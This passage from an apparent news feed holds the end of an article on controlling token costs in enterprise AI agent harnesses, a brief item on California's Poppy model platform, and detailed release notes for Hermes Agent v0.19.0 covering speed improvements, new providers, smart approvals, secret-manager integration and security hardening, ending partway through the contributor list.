Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."
Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:
Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.
Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 
Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.
Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.
However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."
The future of the enterprise harness
The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 
As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.
"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."


AI Platform Lets California Match Model With Use Case
Mon, 20 Jul 2026 23:36:58 +0200
Less than a year after pilot, the California Department of Technology has launched Poppy, a collection of 10 different models. State staffers who use it can choose the model that best fits their task.


Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release
Mon, 20 Jul 2026 20:46:40 +0200
Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026

Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.


✨ Highlights


Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)


The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)


Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)


Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny  (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)


Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)


Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)


A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)


One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)


New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)


Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)


Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)


Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)



⚡ Performance — the speed spine
First-turn latency (all platforms)

~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture
Providers & models

Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny  relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors
450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.
Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm —  leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors
@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,

@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,

@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,

@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,

@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,

@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,

@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,

@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,

@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,

@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,

@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,

@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,

@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,

@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,

@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,

@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,

@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,

@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,

@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,

@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,

@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,

@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,

@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,

@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,

@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,

@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,

@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,

@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,

@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,

@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,

@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,

@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,

@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,

@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,

@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,

@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,

@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,

@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,

@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,

